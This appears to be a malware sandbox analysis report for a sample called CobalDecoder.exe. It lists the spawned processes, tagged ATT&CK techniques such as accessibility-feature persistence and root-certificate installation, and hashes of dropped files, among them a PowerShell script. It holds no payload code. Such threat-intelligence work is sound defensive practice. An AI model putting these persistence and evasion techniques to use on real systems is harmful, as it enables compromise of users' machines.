C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:5364

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: GetForegroundWindowSpam
PID:1004

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{60A90A2F-858D-42AF-8929-82BE9D99E8A1}
1⤵
- System Location Discovery: System Language Discovery
PID:4580

C:\Program Files\Process Hacker 2\kprocesshacker.sys
"C:\Program Files\Process Hacker 2\kprocesshacker.sys"
1⤵
- Executes dropped EXE
PID:5668

C:\ProgramData\CobalDecoder\CobalDecoder.exe
"C:\ProgramData\CobalDecoder\CobalDecoder.exe"
1⤵
PID:6772
- C:\ProgramData\com_nt_firewall_v6_32\CobalDecoder.exe
  C:\ProgramData\com_nt_firewall_v6_32\CobalDecoder.exe
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: MapViewOfSection
  PID:6704
- - C:\Users\Admin\AppData\Local\com_nt_firewall_v6_32\Crisp.exe
    C:\Users\Admin\AppData\Local\com_nt_firewall_v6_32\Crisp.exe
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2416

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Event Triggered Execution

T1546

Accessibility Features

T1546.008

Privilege Escalation

Event Triggered Execution

T1546

Accessibility Features

T1546.008

Defense Evasion

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ProcessHacker.exe

Path C:\Program Files\Process Hacker 2\ProcessHacker.exe
Size 1.6MB
SHA256 bd2c2cf0631d881ed382817afcce2b093f4e412ffb170a719e2762f250abfea4
MD5 b365af317ae730a67c936f21432b9c71
SHA1 a0bdfac3ce1880b32ff9b696458327ce352e3b1d
SHA512 cc3359e16c6fe905a9e176a87acf4c4ed5e22c29bfca11949799caf8442e00ec0d1679b3d8754dbc3e313528d3e8e82c0ec1941e2c3530b48229c1cb337f6b8b
SSDEEP 24576:V7eokafnkAwgcU+29fR4PQviXq1pj3EDT5m+m8I:V6efnkdlUF92PGBOT3m8
TLSH
T10D857C5262E44098D2BBDE76C5629A22EAB13C061F34CADF4650F5792F33BE1DA3C711
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CobalDecoder.exe

Path C:\ProgramData\CobalDecoder\CobalDecoder.exe
Size 24.2MB
SHA256 745870f6b3e20e1cd5c022f2813f28bbd04195fc93f9f4a42f73719a43db9463
MD5 90487e4f60231762fc4810487364f825
SHA1 967d9fd5364a64a9e6843997b661c607e7d8e5c1
SHA512 488e3986bb899d758145918c46b4a8f7fed1537f6a52a36d6df4a4736ff51ff12da9d4294a19506cd62ad47593b71da72883a4646bc9634290329e8fb78357f8
SSDEEP 393216:IDhjobOl74Xp0ipe2Irt9TfCJtnF7yX5Lkxqx2JeUVjgHRAFBVWsUd0A9FgW9cSb:IPzWdO
TLSH
T1D4478D47676614F6C57E82388CA30656F3F0B81807A247DB3AAC66EE1F337D42D39616
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

batchdata29.tmp

Path C:\ProgramData\CobalDecoder\batchdata29.tmp
Size 33KB
SHA256 266db9194ede153df4772e9d112707475ecfa33dba5fb09bb10a7512f56f4559
MD5 47bddfd774e9cc8f0686f2de28f3e49d
SHA1 577deec1497ce314d91ddfdbb69bb625e80a0d21
SHA512 48faba517c39caa45eb24d9a2e8ec53f157c36557076422c92d27f0aec955718ed568920bd78cd7142c130b1711c6be13b184325a07e342421876befc0057831
SSDEEP 768:mkH1pNvbYCLlkQm4yfYtjGm+ThxY9BN3cpjvOcRQjohgPG84aCPC6GBb:m0P9bXJkBXfYtjYTMGQMwG84aCPCDBb
TLSH
T183E26CAF8A7E3652F82B9C99A91A60E3C341F4B3EA1F00A5B1C91856FC1F5E5C524D03
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

channel.dat

Path C:\ProgramData\CobalDecoder\channel.dat
Size 4.9MB
SHA256 5d09d082bbd80332b5b18badc4fb565e3720261eabc06af0372ebdaad6ea1703
MD5 fc53d989e3090b905c6269ef285aff7f
SHA1 3a029016024c47885cc99604b4962385f0e9fd6c
SHA512 18552933cb7470f87337de5e965b5d92e9807863a5c3dc7e82d40528cd73f906c30e9e484db8719732d5f728a186b2057a6a99bd5bcbcb1f4cecc980d9108045
SSDEEP 98304:HyNUwkoAxZEAuFAzDtE/M3vSdIPm5cnEy/df6zjb8kIar9MLkTqG:HySouZENAzxE03vSOPmGnb/dSz/xIZLw
TLSH
T1C1363334CFFD6C30DA3746BE98B4079A8144F074CBA3AA0729E54CF94A5A2DB5441B7E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libcrypto-3-x64.dll

Path C:\ProgramData\CobalDecoder\libcrypto-3-x64.dll
Size 5.0MB
SHA256 4037e6f00a09839d398ffc322abf4ef34facb7ece4dae4a011fa72fc6492c78f
MD5 798fa9e48ce55e92cad61435cba7dfe1
SHA1 3a50c6b0231924b6180f6c6d6e89fabcaed602af
SHA512 7def5050a54eb24471ec0a6a35e32aa218f4cc19c93208868289b7ee78f26669aefcc385964b985139e2fae4baf8f4f9addb64e44c244986aca905cc7ddbfadb
SSDEEP 98304:gx+6te8TL+Vyhs4ZbCkPE1CPwDvt3uFY8Ct:INte8TCki4lCkM1CPwDvt3uFY8C
TLSH
T155367B6EA7A80149E4BAC13CC9534623D2B1F81A5BB097CF15A1967D0F37FDA2A3D740
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libssl-3-x64.dll

Path C:\ProgramData\CobalDecoder\libssl-3-x64.dll
Size 771KB
SHA256 f9f2b89f083f35106d0a37e3af79edd65337be474f57c7b34e341dee5a622530
MD5 0de967579d3e98c8fbcb80663e2712d6
SHA1 61a0aa43b8776747f690871e6b52f503553db303
SHA512 7eb3247827196d9aecb612fbed65a16a11ca44180a11c3071376500ef283574b82d1f07588059ee7891abb53bdbff0b02f5991ffd546004f2ff347d8f827fb8a
SSDEEP 12288:HehJwDaxzi0ZU+X1SmBWfF7UWxp0UFe9Xb0:+zw0zHZ71SmBWaWtFe9Xb0
TLSH
T152F45BAD77BC059CE8B6C17986934623E3B6F4152370EBEB065086790F27BD51B3A348
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msvcp140.dll

Path C:\ProgramData\CobalDecoder\msvcp140.dll
Size 562KB
SHA256 b99eb28a471311113f5c4109cb3c463f39cfd9bdb3b07f706204dedddb4516a1
MD5 7acbc57d268a691247b4a94fecfa42b4
SHA1 67bd76111b4ab8f4c0692919153dde2e7c8070f1
SHA512 b08140ce86ea78b481b78644f086359326616a56fb3a3953da16a7fc2bd15a493652f22d4d2fcba3675c668b9832fdb7d5f17a8aa6ccdb74e7b746a79df60b88
SSDEEP 12288:O9zqgpPAgLqMpP85TAfvULhNaYv0nJxgQEKZm+jWodEEVhEU9:O4wPrALhAYvogQEKZm+jWodEE7p
TLSH
T139C41923B74905E0E195E3B891878306D7F1BC4A8312A3C792EBD69D2F677D1673B290
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msvcp_win.dll

Path C:\ProgramData\CobalDecoder\msvcp_win.dll
Size 626KB
SHA256 d7a3b77b3490745dd4f510ff186a6756e12b4787c2dbf75259136f2fcb2d02b9
MD5 567a7e4cb350bb79a7dc51144d96e624
SHA1 3262a45d62c3f52f9a329a2707c10bdeb992d143
SHA512 f85588611922065f4346755b53493f065451cd21f150ac80bd400432bea18cc735f28cddf1cb65b45e737c83223f5e5e9549e0de13da110f3c50c86dcca4535e
SSDEEP 12288:Q+TTIwt0B5483RXXoTkni5KQEKZm+jWodEEVUsS8pc:Z8wdKnIkVQEKZm+jWodEEmsSL
TLSH
T1F9D41827BB5906A1D16693BCA5C74306E3F1BC054721A3C742EBE26D2F2B7C8673B650
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ucrtbase.dll

Path C:\ProgramData\CobalDecoder\ucrtbase.dll
Size 1.3MB
SHA256 2c08e77f86b0953cffa505bdbe64e87ecb7c088db65d5acb9a2eee65a32565ef
MD5 81a08ea850a35a5efcfe54864a51cf6d
SHA1 8089a77adeb65f6402d2c6fc2cb76d7bbf102e10
SHA512 7cd65985cea38c3e1b8b2308da5ea6d52c657ad259edac47ebcb23d9f54df868ab3571ac25de12b8e9b52abc0711cce68f94b811445226364f998384b72950f3
SSDEEP 24576:W9KcgsGAmTfFqSgdDWqNUF3Z7Nkqnjqo3JYj8JszORmxvSZX0ypapJDBHd:W9KpUmTfFqSgdDPq3DjqI08LupJDT
TLSH
T1FE55AE6176AD01E9C1BFD13DC64B4606E9B2781503708ADB03E94E792E3BBE9177B321
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vcruntime140.dll

Path C:\ProgramData\CobalDecoder\vcruntime140.dll
Size 117KB
SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
MD5 32da96115c9d783a0769312c0482a62d
SHA1 2ea840a5faa87a2fe8d7e5cb4367f2418077d66b
SHA512 616c78b4a24761d4640ae2377b873f7779322ef7bc26f8de7da0d880b227c577ed6f5ed794fc733468477b2fcdb7916def250e5dc63e79257616f99768419087
SSDEEP 1536:Z9TXF5YXWbj8qr51XlN+dULTCe1IGhKWyxLiyaXYaNxoecbdhUoaLjTz164zEd:ZEnsvReGsWyxLizXFkecbd1aPTzW
TLSH
T10DC38C8572A002FBD16AC274C1A36A17FB75B94487B0A7CF03B58A650F53BE09E3D356
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vcruntime140_1.dll

Path C:\ProgramData\CobalDecoder\vcruntime140_1.dll
Size 48KB
SHA256 6a99bc0128e0c7d6cbbf615fcc26909565e17d4ca3451b97f8987f9c6acbc6c8
MD5 c0c0b4c611561f94798b62eb43097722
SHA1 523f515eed3af6d50e57a3eaeb906f4ccc1865fe
SHA512 35db454dbcc7ed89842c0440b92ce0b0b0db41dbd5432a36a0b7e1eddf51704b1f0d6cff5e3a3b0c3ff5db3d8632fed000471180ad72e39d8dbe68a757ccdfb0
SSDEEP 768:vzzO6ujT3MbR3v0Cz6Sz5q83ywug1HDV9zxfYbK9z:mq/oMx3hXHDnzxfYiz
TLSH
T1AE236BA453784486D4AB99B0C0DAEE577D7CFA964B10928F0BA0D15C1F637D0EB3D21B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zlib1.dll

Path C:\ProgramData\CobalDecoder\zlib1.dll
Size 99KB
SHA256 2d926f0db0a964d1ef933a43d63bba98299d38a26d848e0416eb91eca0481542
MD5 7516fc18f7e68f189d41c04c6f9aae93
SHA1 ef6441d7a16cbb778d8ba1997d21d79fdb0a56fe
SHA512 619866a4a17df9fa21312664df08e85befa8169944fef605496929b2f19441706b77bf80d62f3039caa1f70699ce996c5ddbc89b628a57a79b1878c1dbda573f
SSDEEP 1536:4YeuHYt/hCljK5a2yo+FTpBixi3n9Nse9xIOQIOhsVTJ3Ba77wCE:dbHYtZowacKpBy8N79bGhEJA7NE
TLSH
T179A38E96AAB412A5C9B78078D8D34B9ED735B01407A05BCF92489B691F13BD02F363FD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tdsmUnRjPtgeoLpuPGREqNHGaMpduM

Path C:\ProgramData\Healthcare\tdsmUnRjPtgeoLpuPGREqNHGaMpduM
Size 1KB
SHA256 a05f1ccd37ad9da293d1746efa50418b072d2ac3443344f88fb26e9539035f89
MD5 a2ac973ce93626f699f5bd28cea1d18a
SHA1 6a30d4fa397f33cb3cfa5849055fc908c908385e
SHA512 4a0d4e318793349c6239c62477696689179f6756f2fbc982c3becaf88e76e11002ee0f83e9499e5ea528f198f7eea9e48ba52128e7ab1f03b544ba131c7f3d60
TLSH
T11F11B6D1BC480FEFF0230A7425EB2C869410E717726951A487EB48A77060D86BBA74C8
MD5 SHA1 SHA512 TLSH

Submit Download

vacuumtubeer.ps1

Path C:\ProgramData\Healthcare\vacuumtubeer.ps1
Size 1.1MB
SHA256 fa9010e497f608561388c2cc6d4c73887b159f78fb4eb5c199e4f6c83e31a290
MD5 3d04348f589e6c8ccbb347331d165dda
SHA1 6d579f0d94746f72562973a71a5e1084e5026327
SHA512 3e803dae5c5cfed9e256750de0b1c33632aff636dbaa7d8ce72e46d6b7be5a846b32a739633bca5bf684dcc60bfe9b32d0dca8585c53ba3e6aa0ea5b0bf8a01f
SSDEEP 12288:shzTai96FPSR98ldye69LECz2VSNxQumOufutaQO7vou9IKA:UTaZFPSCdye69Lnz2VSNCA
TLSH
T1FF35C5F5EA28236A6C4B73BF9CD06953477C80105B2100B4F2DA929D5687E8D437BF7A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 b8fbe31a50ad69d4b3f1bbad8e4d439884ff9a18f2a918a209b380653a58cad9
MD5 73dbc5db683470a4df8d5756abe902e1
SHA1 c07ae2975b73004bf8cb9e550e8ada0dae40028c
SHA512 27968a2ab92c74d634b5575734a45c06f1092557d7823b6967c762a85ae3e4d8b96b7a70c27be9a528eac9dd49507ed67d14ad1902380010271d5f5cf279acf0
TLSH
T107E02BA6C821DC2708FD5B1860904651E64023672F508A1F3B3DD24D8FB5B364A9B95C
MD5 SHA1 SHA512 TLSH

Submit Download

f_000007

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000007
Size 41KB
SHA256 759655c5b655a0c170a6542584937d68d3f897cf421a8cb9570116202f3bceee
MD5 c624ca6ce78a9ca328116578f37a364d
SHA1 50791afbd06ec2c48e652fae831735400b35be59
SHA512 7a452d5e6a8819eb11c26e94c53919f97ab7f46de000d13544928f812fdb0526f2964ddb7ec55708490a53222f5e97aebd223ae4b38d66334e8c0e3696c7b070
SSDEEP 768:hybUdFBjUOuVRU3vJ2ixjljLTaklB2edEeutBKMJIQo7PYa4pKlsYsA3vP0AJSKX:0IdPjUjU3x2i1lHlUPIHTYhKjP0AI8L
TLSH
T1EC130124A30F5F421486E2DA91BE311B587CF799B06E2F165CA112FFE006FA464E8F71
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_000008

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000008
Size 39KB
SHA256 20b535fa80c8189e3b87d1803038389960203a886d502bc2ef1857affc2f38d2
MD5 9a01b69183a9604ab3a439e388b30501
SHA1 8ed1d59003d0dbe6360481017b44665153665fbe
SHA512 0e6795255b6eea00b5403fd7e3b904d52776d49ac63a31c2778361262883697943aedcb29feee85694ba6f19eaa34dddb9a5bfe7118f4a25b4757e92c331feca
SSDEEP 768:Vce3jkow68wmT4IBX0tXdlSirS61gSjcz0GPwHbP+w2jec56O:VcI/iEEEtXdFJj+0GPwHbP+w5rO
TLSH
T13703023A5E3CCF1A84157A703950F6D9A8481E548E9D143B4F1AC7BF085DDE2209B6D4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_00000c

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_00000c
Size 137KB
SHA256 6c9afbc41242bf7d07528449ad73e403b7de59368b11c5e9248e6757e54db094
MD5 932e955bdbd9f18ad3d1c79634f3d33c
SHA1 706c2bbbaff53557d21c290d28e94f3e1e543328
SHA512 4b207dd04da2f95fd3073f645bb1eccd20684299ae1ac480bc2274752a9e72058aa16174668740dacfb348f6c4073a5b3cd91c3a79d08de53d2efcff825edf53
SSDEEP 3072:kWV+QWTJcaz0+7VZMJ4Y1L7ENd/lDsUjwFH3e3BI:kWV+QW+aRZMJJ1MNZtJwFXv
TLSH
T197D312293ECB238463EACD8DDE5D16B8EC1926AD5C23C6CF013617461F44F69D9982D3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_00000d

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_00000d
Size 84KB
SHA256 a31f7f64df8d0c7e6030fc03e46061a18f47c23756135bfed3d36c20589b631a
MD5 e2f7fa049dcabacce8d45f2ca6a3d638
SHA1 e51501bb97446080f3590b6e6515401e3063bb27
SHA512 b62f314e391c39c79fea787e8578e334588fbb05ea0d5d7bbacac3d873502291961ce7c58bb1df7dad957f3c313e9f0aacf854d458dd77560f5f300203e23f60
SSDEEP 1536:ZE4w2ARmH4AvK1RX3EkWUAfWSoA1nd9C27rg+1Rh9hPWIsdqaA5yt:ZLJDYAC1d3OUmWSTTxg+1LRsD
TLSH
T1DC8312B9A7DB89230D8844090BEF8E245F55F7372E5A5873A3739B772E31C203C46566
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_000058

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000058
Size 76KB
SHA256 2f0fe6edbfcdcb088d82428c52d50d6e34b73fa7ba096051e1c249fea810453c
MD5 f92774a2f0af953cc6832ac73f5eef22
SHA1 bddceeb2fd3897621b36c56f63568913cd8b50ac
SHA512 569439f48b61e2e5b7df55bf6c31b13d72bee3d4e2ae417e9fabd0f7fe58d02bd7afed578dcbd726840d1a6c88189707cc7aad923ef0c19342a499447b4e86d6
SSDEEP 1536:QcVOlvEAgVcBhRNPK5Um4s5UfFlt1GJF9EadWVmL/P9GZO+MvaOhIlh:QcV1x4sSfFg1ESW4L/P8E+pOhIL
TLSH
T10273124C63BDEE77993207BD94CA19D7BE09A0E036FFE6206921E15D9087E54D2A038C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_000059

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000059
Size 21KB
SHA256 6f32da94d4f26e98cb6ccd97034d306aa38945322c816f54a93c7d15dc0905b8
MD5 2c20035257a126aec473203c38baf276
SHA1 cea71b90976aab1ed5d2c1324bb4b09be960e15d
SHA512 c94fb11cae0ed5a7870ac53453e1917fa4e09dde68048a48071798b03c395e97efbd55b45a0360775525bbfd2a24e6d81ea0cb9ccf0569716735ea4d02b50465
SSDEEP 384:X7cRxmywBqrZEV4zWI1TdquIrkzoCu6DzCgpGhH7P2kqwV3fofML:X7cRYdMWI11gZC/o72kqwV3fofML
TLSH
T1D0A2D055FBA8B200E768257A25EC85D9C8B83F318599BF0DCA6B40C60D73DBF06CD192
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_00005a

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_00005a
Size 22KB
SHA256 9c4f02f38678f2628292d66c4f7a1a6a06af7ffac4d279359b09074e7d0f1fe0
MD5 9e38e04780525a20f28d6c455901b2cf
SHA1 9a8514b5e462d06a2b6a4f31e60b97c48272f58c
SHA512 15efa4e8efdb92442e270606f13948aecbf4902a7ccba2fd186bb0bea52feb59530fc922eb4ab603c70cb8cdd26b5d5b2d8318d0cf61f26a96099df38dc694dd
SSDEEP 384:Wnkgg5ugJYnmChrWRPP8mVjX23owWnt4Powv5/cwR2TkqOOCjc/V:WkgY2mcmVzhwK6AAkwRbpeV
TLSH
T18FA2D0EF49DFF985CA334058F4FF0CB982365178E7AA60EF1194969660888F24432BD6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_00005b

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_00005b
Size 24KB
SHA256 a3cf4861c7d0c966f0ed6564f6aad6b28cbd3421a9ca4f60e2246848d249f196
MD5 344ee6eaad74df6b72dec90b1b888aab
SHA1 490e2d92c7f8f3934c14e6c467d8409194bb2c9a
SHA512 2a9a9162d610376512a8fae2cf9eb7e5146cc44c8ebde7a12e9a3985da1718c62ae517c25b00de7c0269efab61b4850a0becfbf04382a25730dbe9cf59825a62
SSDEEP 768:RMxowxdaCb0WaY4P8keYUej86bykBRWIsna:RM1r0NY4P80j86bHtqa
TLSH
T1EEB2E0EEEE552E4CE2F059B4962B734B8A46F022191F947832E7844E8F494C24EDE477
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_00005c

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_00005c
Size 24KB
SHA256 f254eb93b015455a3c89aaf970631bc989fe2bd387f79e871b514992359651aa
MD5 5366c57b20a86f1956780da5e26aac90
SHA1 927dca34817d3c42d9647a846854dad3cbcdb533
SHA512 15d7127970436f2510344600f3acecc19c39a05f8e82c8a7950095386382b2e2da55883a5a9faa97b84452e67315b9ac1693b6592274c8c1c35c813dfeb543a2
SSDEEP 768:ZfRLYs8uBykIQZ6yXBeQOS9JUmBgKYTbgVec:vsbmrDXwEfUmBgKYTc4c
TLSH
T18DB2D004F02ACA26E53655B371E82BD54CB6C4CAABA9935C113520AF3ED3F48C991673
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 4KB
SHA256 4d4f701e90341d383270cb8864986268d24c13394445895b4cd090af15d2ef63
MD5 6a41d8ada947d2fc755c3acbb5248c52
SHA1 434668e52e8c09e1e7fdda3d3017352267a7bcb0
SHA512 cc9a0ff2d8931f1f037f93b6828785310bf714b6a2175a42cede0e2af218e9e39f445600fe81b2f104d001cf6a789f5d194d18e2f4947626dc020f4ad247c32c
SSDEEP 96:sknkLxiQ8GJacj+08tlXYbCNP4x43qwGYWBe4kj7NDy4K4udJsLdcCNQg:skkLxirGkcj+02lX4CNP+uqwGYWk5X93
TLSH
T12EA1C6CC42C0101BCBA3C23246F55C51B5341AC58AB31FA779D8213A6B6FB981C81C1F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 7KB
SHA256 b076985ec0684ad484e4eaea18c4ed220dfe1842d4ced8db7fc72689ed354fe0
MD5 6c684dd048abc14f97c9461146587b20
SHA1 3ec20c6345d4811434412bc62c27eb6c12dae5b4
SHA512 5fdde0089c3e7830a9fe3b3770376ec0231b0f2ed8729ea7556217f629b584eb168cc9d5581978ef173c4ced9bfbc3685ef4fa724078b7abf991d9a5810f7a4b
SSDEEP 192:D1ywKbZVYiaIUiokzZjx6Z+S9qNPx0YVBGC5bzg:D1ywKbZVYiaIUiokzZjx6Z+S9qNPx0Yo
TLSH
T167E16BF7C3E8862D891196F4AB152F1FCE2D0914532C3C66C9E4AF5B93E2872E24175E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 14KB
SHA256 ad561982244d480faca7c61b55f077db64778b93d11aacf31d075ff7f1baa7b8
MD5 fea66c4d199dbeb6ba80f071b8ddb14c
SHA1 3d5302d0e6c2b7c56e0b165a59f2cdde7615e6c0
SHA512 b0937888def52f199af7be0a787f3a0db035844e791c99da0f583b869d2232c25b048d57fb42e887f7f8b28254b7dd848354d56b79731bd807512e558f7052a9
SSDEEP 384:D1ywKbZVY6i/CMZetVSn06xmCaIUio2Zjx6Z+S9qNPx0YFZo1GzM1xVMHCVrG418:gsC47
TLSH
T1B5628DF7C3E8862DC96256F1A7143E1BCE5D051843283D66C9E5EF8FA3E2471E24164E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 15KB
SHA256 9c808324a6e4f2a706883eaa0a9c980380dcbac83161bdf5a897c1daf30fb865
MD5 c169a87bb99bf8bce7779a663a3471cc
SHA1 7aec7571cc7b07dc8ccb4916d7b240406fd944b1
SHA512 b46e7335351d0b1891ccab91f066acc40abaa1f32c6727cf9738661582c9e979b5894f7f777e2c0995090b2ffd87df746358183789bf50bf26ea3c10e0304909
SSDEEP 192:ORWY/SLsXo5lBv7bwzPRp+vT+/lrrEVGl/19/Hsb+WNtlXzBA/vTSJHxm+MLWApH:ORWYqLsAlRP0XyK/j1wtYv8QRWZaWe
TLSH
T13C62A42BB5201A7B6CD7C22AF922B767D3F2302125801E84EAFCCA1C15DBECD6117557
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 1e2f60f54164bca9448fa210a010016e2b5fb0820cc5074a0da3f09e295b5264
MD5 155990b67f22b8a07b4d9dfd533d02c7
SHA1 25818ba9222426a4116e7a1030e6ad68ff4ac48c
SHA512 9ee9afdb22e102f873fa5137e8e1f0ad5c105b0374433a01170d74a975bc89101ac24da7c2a32f84bf51c902702122f74db496baca7159e7640aa26df084ba8f
SSDEEP 192:4RwY/SLsXo5BBv7bpAPRp2L+9/Hsb+WNnDA4Uz2OcTaAjVyIsnAUgtaJ:4RwYqLsABRPUXf1wsj2VaC8
TLSH
T1FF42C62FB914697B6CCBC22AF922B763D7F1202135902E84EBFC8A1C15DB9CD611741B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 14KB
SHA256 2cfa37f34b1b5e7719afcbcf1d9e62b5aa8d3066be014656c1b6886ba2794ff2
MD5 570602d904696669a61bc987add90b91
SHA1 b15edfe9a089071f8ddfe4fa284558610aea3078
SHA512 879cc2f0c7697f0d857f9e81023f11e709011e2027baa0a3f109ba299119067499f8966c90ec1990df5e9e12c89fea10e31fdcd0b2a1fc902eac68ed8c5ad713
SSDEEP 192:ORwY/SLsXo5iBv7bwAPRp2wrrESG9/Hsb+WN7BA/vTSJHxm+MLWdAcTaAEVyIsnB:ORwYqLsAiRPBXu1wGv8QRW1aDe
TLSH
T16652A52BB5106A7B6CDBD22AF922B767D3F1202125902E84EAFCCB1C15DB9CD611741B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 15KB
SHA256 9d3cc280e206a64369862fab40f53b443ffcedc4f204a42cb9a5f1c487540490
MD5 c7f2f124eaa949ff4278dfcb297fbac6
SHA1 cde588b6cd5d6920eced73b250b6ef5f0fd05940
SHA512 56b162baa64ae050788658ca4d508e859de2f7545dd1fe93ce2ddc94bfc182fc2cacc55643ade280b5af9cfc9cfc68825825bf6545de6034fd6841e9cb8e69c6
SSDEEP 192:ORwY/SLsXo5lBv7bwzPRp+vT+/lrrEVGlm9/Hsb+WNtluBA/vTSJHxm+MLWApvc8:ORwYqLsAlRP0XyK/M1wtfv8QRWZaWe
TLSH
T10C62B62BB5206A7B6CD7C22AF922B727D3F2202125902E84EAFCCA1C15DBDCD6117557
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 15KB
SHA256 013ebbda6a867a152df1338d4303ce1fdada40f28aa33cc0ad0495b88c488de2
MD5 4a7fcf5e6e85d8de0f90fd56e89b0724
SHA1 74696903b3621940ca0bffde4dc10cd3c3f509a0
SHA512 4bc07f54ad1ff766df57be9c8eb933e1dde3185d11f52e21f563922dd60027cf3d2b87bb892251973fb3bcc06edacf895d7cc44fc563289f421cee728158c54b
SSDEEP 192:ORWI/SLsXo5lBv7bwzPRp+vT+/lrrEVGl/19/Hsb+WNtlXzBA/vTSJqzZHxm+ML4:ORWIqLsAlRP0XyK/j1wtYv8kQRWkaWe
TLSH
T19D72B42BB5201A7B6CD7C22AF922B727D3F2302125801E84EBFC8A0C15DBECD6117557
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 17KB
SHA256 4a8de811b93ad52e9d4022e9fa8a9091cc20b5ffab88a1e0f530f17ec1f4af83
MD5 469645fc081cfe6eb6c54d3ab7d6055c
SHA1 a833172ee1a4cfdf987c031a33c493f52999a2a9
